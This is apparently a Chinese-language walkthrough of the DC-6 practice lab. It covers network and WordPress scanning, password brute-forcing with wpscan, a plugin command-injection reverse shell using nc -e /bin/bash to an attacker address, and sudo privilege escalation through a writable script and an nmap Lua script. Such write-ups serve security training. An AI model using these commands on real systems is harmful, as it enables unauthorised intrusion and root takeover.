环境搭建
- DC6靶场官网下载,点击下载DC6靶场:
https://www.five86.com/downloads/DC-6.zip
- 直接虚拟机导入DC6靶场即可,如果报错直接点击重试;
- 设置kali于DC6靶场的网络连接为统一方式;
- 同时说明一下DC6靶场,只有一个flag。
信息收集
扫描确定IP
使用arp-scan扫描网络,确定靶机IP,使用以下命令
arp-scan -l
扫描端口以及服务
使用nmap对靶机进行扫描,确定开启的端口,以及端口对应的服务,使用以下命令
nmap -sV -sC -p- -A 192.168.223.134
尝试访问后,访问不到web页面,url地址转换到http://wordy/
将IP和网址加入host文件进行解析,host文件写入以下语句
192.168.223.134 wordy
指纹识别
尝试访问靶机开放的端口80,是一个网站,可以尝试对靶机进行指纹识别,使用以下命令
whatweb -v 192.168.223.134
目录爆破
靶机上搭建了一个网站,尝试进行目录爆破,使用一下命令
dirsearch -u 192.168.223.134
dirsearch需要安装
apt-get install dirsearch
密码破解
使用工具wpscan
- 由信息收集的内容,网站使用wordpress搭建
- 使用专门的对wordpress进行扫描的工具wpsacn进行扫描
用户枚举
- 使用wpscan进行网站用户枚举,使用以下命令
wpscan --url http://wordy/ --enumerate u
- 将用户名保存在文件中,接下来爆破密码会使用
密码破解
- 获取密码字典,根据以下提示获取密码字典,
官方提示使用以下命令获取字典
- cat /usr/share/wordlists/rockyou.txt | grep k01 >/root/pass.txt
- 使用wpscan进行网站密码爆破,使用以下命令
wpscan --url http://wordy/ -P pass.txt -U user
获得有效用户名和密码
mark : helpdesk01
获取shell
网站页面查找漏洞
-
通过爆破出来的用户名密码登陆网站
-
在网站插件处找到可能存在漏洞利用的点,具体位置如下图
-
此处功能点可以执行命令,尝试执行命令有回显
获取webshell
- 利用此处命令执行漏洞,尝试执行反弹shell
kali开启监听: nc -lvp 8888
网站命令执行:nc 192.168.223.129 8888 -e /bin/bash
点击按钮后获得webshell
另一种获得shell的方法
-
根据网站页面内容Activity monitor,尝试搜索漏洞
-
尝试kali搜索漏洞
searchsploit activity
searchsploit -m 50110.py
- 利用脚本获取shell(不稳定),推荐使用使用nc获取shell
尝试提权
- 尝试sudo提权,无法提权
sudo -l
- 尝试suid提权,无法提权
find / -perm -u=s -type f 2>/dev/null
- 尝试计划任务提权,无法提权
cat /etc/crontab
提权
尝试登录ssh
-
查看目录、文件,在文件中查看到一个文件提示新增加一个用户,后面的内容应该是用户名密码
-
通过获得的新用户名密码,尝试登陆ssh
ssh尝试提权
- 尝试sudo提权,有一个其他用户权限的文件
sudo -l
- 尝试文件中写入/bin/bash,并执行该文件,获取另一用户的权限
- echo ‘/bin/bash’ >> backups.sh
- sudo -u jens /home/jens/backups.sh
nmap提权
- 在获取到的新用户shell下,尝试sudo提权
sudo -l
- 查找nmap提权方法
- 通过提权,获得root权限
TF=$(mktemp)
echo ‘os.execute(“/bin/sh”)’ > $TFsudo nmap --script=$TF
没有命令回显,需要输入命令回车后才显示命令,同时使用python开启交互终端,命令如下
python -c ‘import pty;pty.spawn(“/bin/bash”)’
flag
- 使用python开启交互式的终端后,查看权限和flag(此处无截图 😂又忘截图了下次一定)
whoami
ls
cat theflag.txt
总结
- wordpress建站系统在kali中有专门的扫描器wpscan
- 命令执行漏洞利用方法:直接反弹shell
- 当一个webshell中无法提权时,尝试更换shell或ssh获取其他用户的shell进行提权操作
- sudo的nmap提权操作
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF